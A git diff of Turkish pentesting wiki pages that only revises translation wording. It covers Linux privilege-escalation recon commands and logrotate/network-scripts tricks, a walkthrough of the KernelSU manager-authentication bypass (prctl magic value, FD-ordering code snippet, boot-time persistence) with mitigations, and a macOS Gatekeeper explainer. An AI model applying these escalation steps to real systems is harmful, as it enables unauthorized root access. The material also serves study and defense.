NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumundadır, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır.
|
||||
NOT: BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur, ayrıca `/etc/shadow` dosyası `/etc/spwd.db` olarak yeniden adlandırılmıştır.
|
||||
|
||||
Bazı **hassas dosyalara yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **hizmet yapılandırma dosyalarına** yazabilir misiniz?
|
||||
```bash
|
||||
@ -1252,7 +1252,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
|
||||
done
|
||||
done
|
||||
```
|
||||
### Son Dakikada Değiştirilen Dosyalar
|
||||
### Son Dakika Değiştirilen Dosyalar
|
||||
```bash
|
||||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
|
||||
```
|
||||
@ -1313,7 +1313,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
### Genel Kimlik Bilgileri Arama/Regex
|
||||
|
||||
Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve günlüklerde IP'ler ve e-postalar ile hash regex'lerini de kontrol etmelisiniz.\
|
||||
Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz.
|
||||
Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri kontrol edebilirsiniz.
|
||||
|
||||
## Yazılabilir dosyalar
|
||||
|
||||
@ -1336,13 +1336,13 @@ Güvenlik açığı hakkında daha ayrıntılı bilgi bu sayfada bulunabilir: [h
|
||||
|
||||
Bu güvenlik açığını [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz.
|
||||
|
||||
Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizde, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinkler ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin.
|
||||
Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinkler ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazma** yetkisine sahip bir `ifcf-<herhangi bir şey>` betiği yazabiliyorsa **veya** mevcut birini **ayarlayabiliyorsa**, o zaman **sisteminiz ele geçirilmiştir**.
|
||||
Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazabilirse** veya mevcut birini **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**.
|
||||
|
||||
Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler.
|
||||
|
||||
@ -1356,11 +1356,11 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd ve rc.d**
|
||||
|
||||
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu da **klasik Linux hizmet yönetim sistemi**dir. Bu script'ler hizmetleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yenilemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
|
||||
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu da **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
|
||||
|
||||
Diğer yandan, `/etc/init`, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi** olan **Upstart** ile ilişkilidir ve hizmet yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
|
||||
Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu da Ubuntu tarafından tanıtılan daha yeni bir **servis yönetim** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
|
||||
|
||||
**systemd**, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunan modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkmaktadır. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize ederek sistem yönetim sürecini kolaylaştırır.
|
||||
**systemd**, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunan modern bir başlatma ve servis yöneticisi olarak ortaya çıkmaktadır. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize ederek sistem yönetim sürecini kolaylaştırır.
|
||||
|
||||
## Diğer Hileler
|
||||
|
||||
@ -1400,7 +1400,7 @@ cisco-vmanage.md
|
||||
**Unix Yetki Yükseltme Kontrolü:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux Yetki Kontrol Aracı:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** Linux ve MAC'te kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
@ -1428,7 +1428,7 @@ cisco-vmanage.md
|
||||
|
||||
## Android rooting framework'leri: yönetici-kanal suistimali
|
||||
|
||||
Android rooting framework'leri genellikle bir syscall'ı bağlayarak ayrıcalıklı kernel işlevselliğini bir kullanıcı alanı yöneticisine açar. Zayıf yönetici kimlik doğrulaması (örneğin, FD-sırasına dayalı imza kontrolleri veya zayıf şifre şemaları) yerel bir uygulamanın yöneticiyi taklit etmesine ve zaten köklenmiş cihazlarda root'a yükselmesine olanak tanıyabilir. Daha fazla bilgi ve istismar detayları için buraya bakın:
|
||||
Android rooting framework'leri genellikle bir syscall'i bağlayarak ayrıcalıklı kernel işlevselliğini bir kullanıcı alanı yöneticisine açar. Zayıf yönetici kimlik doğrulaması (örneğin, FD-sırasına dayalı imza kontrolleri veya zayıf şifre şemaları) yerel bir uygulamanın yöneticiyi taklit etmesine ve zaten köklenmiş cihazlarda root'a yükselmesine olanak tanıyabilir. Daha fazla bilgi ve istismar detayları için buraya bakın:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
KernelSU, APatch, SKRoot ve Magisk gibi rooting framework'leri, Linux/Android çekirdeğini sıkça yamanlar ve ayrıcalıklı işlevselliği, bir syscall ile bağlı "yönetici" uygulamasına yetkisiz bir kullanıcı alanı üzerinden açar. Eğer yönetici kimlik doğrulama adımı hatalıysa, herhangi bir yerel uygulama bu kanala ulaşabilir ve zaten köklenmiş cihazlarda ayrıcalıkları artırabilir.
|
||||
KernelSU, APatch, SKRoot ve Magisk gibi rooting framework'leri, Linux/Android çekirdeğini sıkça yamanlar ve ayrıcalıklı işlevselliği, bir syscall ile bağlı bir "yönetici" uygulamasına açar. Eğer yönetici kimlik doğrulama adımı hatalıysa, herhangi bir yerel uygulama bu kanala ulaşabilir ve zaten köklenmiş cihazlarda ayrıcalıkları artırabilir.
|
||||
|
||||
Bu sayfa, hem kırmızı hem de mavi takımların saldırı yüzeylerini, istismar ilkelerini ve sağlam önlemleri anlamalarına yardımcı olmak için kamu araştırmalarında (özellikle Zimperium'un KernelSU v0.5.7 analizi) ortaya çıkan teknikleri ve tuzakları özetlemektedir.
|
||||
|
||||
@ -12,10 +12,10 @@ Bu sayfa, hem kırmızı hem de mavi takımların saldırı yüzeylerini, istism
|
||||
- Çekirdek modülü/yaması, kullanıcı alanından "komutlar" almak için bir syscall'ı (genellikle prctl) bağlar.
|
||||
- Protokol genellikle şudur: magic_value, command_id, arg_ptr/len ...
|
||||
- Bir kullanıcı alanı yönetici uygulaması önce kimlik doğrulaması yapar (örneğin, CMD_BECOME_MANAGER). Çekirdek çağrıyı güvenilir bir yönetici olarak işaretlediğinde, ayrıcalıklı komutlar kabul edilir:
|
||||
- Çağrıcıya kök yetkisi ver (örneğin, CMD_GRANT_ROOT)
|
||||
- su için izin listelerini/yasak listelerini yönet
|
||||
- SELinux politikasını ayarla (örneğin, CMD_SET_SEPOLICY)
|
||||
- Sürüm/yapılandırma sorgula
|
||||
- Çağrıcıya kök verme (örneğin, CMD_GRANT_ROOT)
|
||||
- su için izin listelerini/yasak listelerini yönetme
|
||||
- SELinux politikasını ayarlama (örneğin, CMD_SET_SEPOLICY)
|
||||
- Sürüm/konfigürasyon sorgulama
|
||||
- Herhangi bir uygulama syscall'ları çağırabileceğinden, yönetici kimlik doğrulamasının doğruluğu kritik öneme sahiptir.
|
||||
|
||||
Örnek (KernelSU tasarımı):
|
||||
@ -26,7 +26,7 @@ Bu sayfa, hem kırmızı hem de mavi takımların saldırı yüzeylerini, istism
|
||||
---
|
||||
## KernelSU v0.5.7 kimlik doğrulama akışı (uygulanan şekliyle)
|
||||
|
||||
Kullanıcı alanı prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) çağırdığında, KernelSU doğrular:
|
||||
Kullanıcı alanı prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) çağrısı yaptığında, KernelSU doğrular:
|
||||
|
||||
1) Yol ön eki kontrolü
|
||||
- Sağlanan yol, çağrıcı UID'si için beklenen bir ön ek ile başlamalıdır, örneğin /data/data/<pkg> veya /data/user/<id>/<pkg>.
|
||||
@ -36,10 +36,10 @@ Kullanıcı alanı prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) ça
|
||||
- Yol, çağrıcı UID'sine ait olmalıdır.
|
||||
- Referans: core_hook.c (v0.5.7) mülkiyet mantığı.
|
||||
|
||||
3) APK imza kontrolü FD tablosu taraması ile
|
||||
- Çağıran sürecin açık dosya tanımlayıcılarını (FD'leri) yinele.
|
||||
- Yolunun /data/app/*/base.apk ile eşleştiği ilk dosyayı seç.
|
||||
- APK v2 imzasını ayrıştır ve resmi yönetici sertifikası ile doğrula.
|
||||
3) FD tablosu taraması ile APK imza kontrolü
|
||||
- Çağıran sürecin açık dosya tanımlayıcılarını (FD'leri) yineleyin.
|
||||
- Yolunun /data/app/*/base.apk ile eşleştiği ilk dosyayı seçin.
|
||||
- APK v2 imzasını ayrıştırın ve resmi yönetici sertifikası ile doğrulayın.
|
||||
- Referanslar: manager.c (FD'leri yineleme), apk_sign.c (APK v2 doğrulama).
|
||||
|
||||
Tüm kontroller geçerse, çekirdek yöneticinin UID'sini geçici olarak önbelleğe alır ve o UID'den ayrıcalıklı komutları kabul eder.
|
||||
@ -47,9 +47,9 @@ Tüm kontroller geçerse, çekirdek yöneticinin UID'sini geçici olarak önbell
|
||||
---
|
||||
## Zafiyet sınıfı: FD yinelemesinden "ilk eşleşen APK"ya güvenme
|
||||
|
||||
İmza kontrolü, süreç FD tablosunda bulunan "ilk eşleşen /data/app/*/base.apk" ile bağlandığında, aslında çağrıcının kendi paketini doğrulamıyor. Bir saldırgan, kendi base.apk'sinden daha önce FD listesinde görünecek şekilde, meşru bir şekilde imzalanmış bir APK'yı (gerçek yöneticinin) önceden konumlandırabilir.
|
||||
Eğer imza kontrolü, süreç FD tablosunda bulunan "ilk eşleşen /data/app/*/base.apk" ile bağlanıyorsa, aslında çağrıcının kendi paketini doğrulamıyor demektir. Bir saldırgan, kendi base.apk'sinden daha önce FD listesinde görünecek şekilde, meşru bir şekilde imzalanmış bir APK'yı (gerçek yöneticinin) önceden konumlandırabilir.
|
||||
|
||||
Bu dolaylı güven, yetkisiz bir uygulamanın yöneticiyi taklit etmesine olanak tanır; yöneticinin imzalama anahtarına sahip olmadan.
|
||||
Bu dolaylı güven, ayrıcalıklı bir uygulamanın yöneticiyi taklit etmesine olanak tanır; yöneticinin imza anahtarına sahip olmadan.
|
||||
|
||||
Sömürülen ana özellikler:
|
||||
- FD taraması, çağrıcının paket kimliğine bağlanmaz; yalnızca yol dizelerini kalıp eşleştirir.
|
||||
@ -60,7 +60,7 @@ Sömürülen ana özellikler:
|
||||
## Saldırı ön koşulları
|
||||
|
||||
- Cihaz, zaten zayıf bir rooting framework'ü ile köklenmiştir (örneğin, KernelSU v0.5.7).
|
||||
- Saldırgan, yerel olarak rastgele yetkisiz kod çalıştırabilir (Android uygulama süreci).
|
||||
- Saldırgan, yerel olarak rastgele ayrıcalıksız kod çalıştırabilir (Android uygulama süreci).
|
||||
- Gerçek yönetici henüz kimlik doğrulaması yapmamıştır (örneğin, bir yeniden başlatmadan hemen sonra). Bazı framework'ler, başarıdan sonra yönetici UID'sini önbelleğe alır; yarışı kazanmalısınız.
|
||||
|
||||
---
|
||||
@ -69,17 +69,17 @@ Sömürülen ana özellikler:
|
||||
Yüksek seviyeli adımlar:
|
||||
1) Ön ek ve mülkiyet kontrollerini karşılamak için kendi uygulama veri dizininize geçerli bir yol oluşturun.
|
||||
2) Gerçek bir KernelSU Yönetici base.apk'sinin, kendi base.apk'nizden daha düşük numaralı bir FD'de açıldığından emin olun.
|
||||
3) prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) çağırarak kontrolleri geçin.
|
||||
4) CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY gibi ayrıcalıklı komutlar vererek yükselmeyi kalıcı hale getirin.
|
||||
3) prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) çağrısını yaparak kontrolleri geçin.
|
||||
4) CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY gibi ayrıcalıklı komutlar vererek yükselmeyi sürdürün.
|
||||
|
||||
Adım 2 (FD sıralaması) hakkında pratik notlar:
|
||||
- /proc/self/fd symlink'lerini yürüyerek kendi /data/app/*/base.apk'niz için sürecinizin FD'sini belirleyin.
|
||||
Adım 2 (FD sıralaması) ile ilgili pratik notlar:
|
||||
- /proc/self/fd sembolik bağlantılarını yürüyerek kendi /data/app/*/base.apk'niz için sürecinizin FD'sini belirleyin.
|
||||
- Düşük bir FD'yi (örneğin, stdin, fd 0) kapatın ve meşru yönetici APK'sını önce açarak fd 0'ı (veya kendi base.apk fd'nizden daha düşük bir indeksi) kaplayın.
|
||||
- Meşru yönetici APK'sını uygulamanızla birleştirerek yolunun çekirdeğin basit filtresini karşılamasını sağlayın. Örneğin, /data/app/*/base.apk ile eşleşen bir alt yol altında yerleştirin.
|
||||
|
||||
Örnek kod parçacıkları (Android/Linux, yalnızca gösterim amaçlı):
|
||||
|
||||
Açık FD'leri listeleyerek base.apk girişlerini bul:
|
||||
Açık FD'leri listeleyerek base.apk girişlerini bulma:
|
||||
```c
|
||||
#include <dirent.h>
|
||||
#include <stdio.h>
|
||||
@ -145,22 +145,22 @@ Başarıdan sonra, ayrıcalıklı komutlar (örnekler):
|
||||
- CMD_SET_SEPOLICY: çerçeve tarafından desteklenen SELinux politikasını ayarla
|
||||
|
||||
Yarış/persistans ipucu:
|
||||
- AndroidManifest'te bir BOOT_COMPLETED alıcısı kaydet (RECEIVE_BOOT_COMPLETED) böylece yeniden başlatmadan sonra erken başlatılır ve gerçek yöneticiden önce kimlik doğrulama girişiminde bulunur.
|
||||
- AndroidManifest'te bir BOOT_COMPLETED alıcısı kaydet (RECEIVE_BOOT_COMPLETED) böylece yeniden başlatmadan sonra erken başlar ve gerçek yöneticiden önce kimlik doğrulama girişiminde bulunur.
|
||||
|
||||
---
|
||||
## Tespit ve hafifletme rehberi
|
||||
|
||||
Çerçeve geliştiricileri için:
|
||||
- Kimlik doğrulamayı çağıranın paketine/UID'sine bağlayın, rastgele FD'lere değil:
|
||||
- Çağıranın paketini UID'sinden çözün ve yüklenmiş paket imzasıyla doğrulayın (PackageManager aracılığıyla) FD'leri taramak yerine.
|
||||
- Çağıranın paketini UID'sinden çözün ve kurulu paketin imzasıyla doğrulayın (PackageManager aracılığıyla) FD'leri taramak yerine.
|
||||
- Sadece çekirdekse, kararlı çağıran kimliğini (görev kimlik bilgileri) kullanın ve init/kullanıcı alanı yardımcıları tarafından yönetilen kararlı bir gerçeklik kaynağında doğrulayın, işlem FD'leri üzerinde değil.
|
||||
- Kimlik olarak yol-ön ek kontrolünden kaçının; bunlar çağıran tarafından kolayca tatmin edilebilir.
|
||||
- Kanal üzerinden nonce tabanlı meydan okuma-yanıt kullanın ve önyükleme sırasında veya önemli olaylarda önbelleğe alınmış yöneticinin kimliğini temizleyin.
|
||||
- Mümkünse, genel sistem çağrılarını aşırı yüklemek yerine binder tabanlı kimlik doğrulamalı IPC'yi düşünün.
|
||||
|
||||
Savunucular/mavi takım için:
|
||||
- Kökleme çerçevelerinin ve yönetici süreçlerinin varlığını tespit edin; çekirdek telemetriniz varsa şüpheli sihirli sabitlerle (örneğin, 0xDEADBEEF) prctl çağrılarını izleyin.
|
||||
- Yönetilen filolarda, önyüklemeden sonra ayrıcalıklı yönetici komutlarını hızlı bir şekilde denemeye çalışan güvensiz paketlerden gelen önyükleme alıcılarını engelleyin veya uyarın.
|
||||
- Kökleme çerçevelerinin ve yöneticisi süreçlerinin varlığını tespit edin; çekirdek telemetriniz varsa şüpheli sihirli sabitlerle (örneğin, 0xDEADBEEF) prctl çağrılarını izleyin.
|
||||
- Yönetilen filolarda, güvenilmeyen paketlerden önyükleme sonrası ayrıcalıklı yönetici komutlarını hızlı bir şekilde denemeye çalışan önyükleme alıcılarını engelleyin veya uyarın.
|
||||
- Cihazların yamanmış çerçeve sürümlerine güncellendiğinden emin olun; güncelleme sırasında önbelleğe alınmış yönetici kimliklerini geçersiz kılın.
|
||||
|
||||
Saldırının sınırlamaları:
|
||||
@ -170,9 +170,9 @@ Saldırının sınırlamaları:
|
||||
---
|
||||
## Çerçeveler arası ilgili notlar
|
||||
|
||||
- Şifre tabanlı kimlik doğrulama (örneğin, tarihsel APatch/SKRoot sürümleri) şifreler tahmin edilebilir/bruteforce edilebilir veya doğrulamalar hatalıysa zayıf olabilir.
|
||||
- Şifre tabanlı kimlik doğrulama (örneğin, tarihsel APatch/SKRoot sürümleri) tahmin edilebilir/bruteforce edilebilir şifreler veya hatalı doğrulamalar varsa zayıf olabilir.
|
||||
- Paket/imza tabanlı kimlik doğrulama (örneğin, KernelSU) prensipte daha güçlüdür ancak gerçek çağırana bağlanmalıdır, dolaylı nesnelere değil, FD taramalarına.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP), olgun ekosistemlerin bile kimlik sahteciliğine karşı hassas olabileceğini ve yöneticinin bağlamında root ile kod yürütmeye yol açabileceğini gösterdi.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP), olgun ekosistemlerin bile yöneticinin bağlamında kod yürütmeye yol açan kimlik sahteciliğine karşı hassas olabileceğini göstermiştir.
|
||||
|
||||
---
|
||||
## Referanslar
|
||||
|
@ -8,13 +8,13 @@
|
||||
|
||||
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatmaktadır. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından noter onaylı olup olmadığını** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noter onayından sonra değiştirilmediğini doğrular.
|
||||
|
||||
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara bir uyarı göstererek** kontrol ve güvenliği artırır. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodları, zararsız bir veri dosyası olarak yanlış anlamalarını önlemeye yardımcı olur.
|
||||
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcıları uyararak** kontrol ve güvenliği artırır. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodları, zararsız bir veri dosyası olarak yanlış anlamalarını önlemeye yardımcı olur.
|
||||
|
||||
### Uygulama İmzaları
|
||||
|
||||
Uygulama imzaları, kod imzaları olarak da bilinir, Apple'ın güvenlik altyapısının kritik bir bileşenidir. Yazılım yazarının (geliştirici) kimliğini **doğrulamak** ve kodun en son imzalandığı tarihten bu yana değiştirilmediğini sağlamak için kullanılır.
|
||||
|
||||
İşte nasıl çalıştığı:
|
||||
İşte nasıl çalışır:
|
||||
|
||||
1. **Uygulamayı İmzalama:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, **uygulamayı özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştirici Apple Geliştirici Programı'na kaydolduğunda Apple tarafından kendisine verilen bir **sertifika ile ilişkilidir**. İmzalama süreci, uygulamanın tüm parçalarının kriptografik bir hash'ini oluşturmayı ve bu hash'i geliştiricinin özel anahtarıyla şifrelemeyi içerir.
|
||||
2. **Uygulamayı Dağıtma:** İmzalanmış uygulama, geliştiricinin sertifikasıyla birlikte kullanıcılara dağıtılır; bu sertifika, ilgili genel anahtarı içerir.
|
||||
@ -45,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **kötü niyetli içerik** ve kod imzalama ile ilgili olası sorunlar açısından inceleyen **otomatik bir sistemdir**.
|
||||
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, **kötü niyetli içerik** ve kod imzalama ile ilgili olası sorunlar için gönderilen yazılımı inceleyen **otomatik bir sistemdir**.
|
||||
|
||||
Eğer yazılım, herhangi bir endişe yaratmadan bu incelemeyi **geçerse**, Noter Servisi bir notarizasyon belgesi oluşturur. Geliştiricinin, bu belgeyi yazılımına **eklemesi** gerekmektedir; bu işleme 'stapling' denir. Ayrıca, notarizasyon belgesi çevrimiçi olarak da yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
|
||||
|
||||
Kullanıcının yazılımı ilk yüklemesi veya çalıştırması sırasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik açısından kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda görüntüler. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır.
|
||||
Kullanıcının yazılımı ilk kurulumunda veya çalıştırmasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik için kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda görüntüler. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır.
|
||||
|
||||
### spctl & syspolicyd
|
||||
|
||||
@ -62,7 +62,7 @@ Kullanıcının yazılımı ilk yüklemesi veya çalıştırması sırasında, n
|
||||
spctl --status
|
||||
```
|
||||
> [!CAUTION]
|
||||
> GateKeeper imza kontrollerinin yalnızca **Quarantine niteliğine sahip dosyalar** için gerçekleştirildiğini, her dosya için değil olduğunu unutmayın.
|
||||
> GateKeeper imza kontrollerinin yalnızca **Quarantine niteliğine sahip dosyalar** için yapıldığını, her dosya için yapılmadığını unutmayın.
|
||||
|
||||
GateKeeper, **tercihlere ve imzaya** göre bir ikili dosyanın çalıştırılıp çalıştırılamayacağını kontrol edecektir:
|
||||
|
||||
@ -84,9 +84,9 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
**`syspolicyd`** ayrıca `assess`, `update`, `record` ve `cancel` gibi farklı işlemlerle bir XPC sunucusu sunar; bunlar ayrıca **`Security.framework`'ün `SecAssessment*`** API'leri kullanılarak erişilebilir ve **`spctl`** aslında **`syspolicyd`** ile XPC üzerinden iletişim kurar.
|
||||
**`syspolicyd`** ayrıca `assess`, `update`, `record` ve `cancel` gibi farklı işlemlerle bir XPC sunucusu sunar; bunlar **`Security.framework`'ün `SecAssessment*`** API'leri aracılığıyla da erişilebilir ve **`spctl`** aslında **`syspolicyd`** ile XPC üzerinden iletişim kurar.
|
||||
|
||||
İlk kuralın "**App Store**" ile bittiğini ve ikinci kuralın "**Developer ID**" ile bittiğini ve önceki görüntüde **App Store ve tanımlı geliştiricilerden uygulama çalıştırma** izninin **etkin** olduğunu not edin.\
|
||||
İlk kuralın "**App Store**" ile, ikinci kuralın ise "**Developer ID**" ile bittiğine ve önceki görüntüde **App Store ve tanımlı geliştiricilerden uygulama çalıştırma** izninin **etkin** olduğuna dikkat edin.\
|
||||
Eğer o ayarı App Store olarak **değiştirirseniz**, "**Notarized Developer ID" kuralları kaybolacaktır**.
|
||||
|
||||
Ayrıca **tip GKE** olan binlerce kural da bulunmaktadır:
|
||||
@ -98,7 +98,7 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
||||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
Bunlar şu dosyalardan alınan hash'lerdir:
|
||||
Bunlar şu dosyalardan gelen hash'lerdir:
|
||||
|
||||
- `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
|
||||
- `/var/db/gke.bundle/Contents/Resources/gk.db`
|
||||
@ -141,11 +141,11 @@ sudo spctl --enable --label "whitelist"
|
||||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
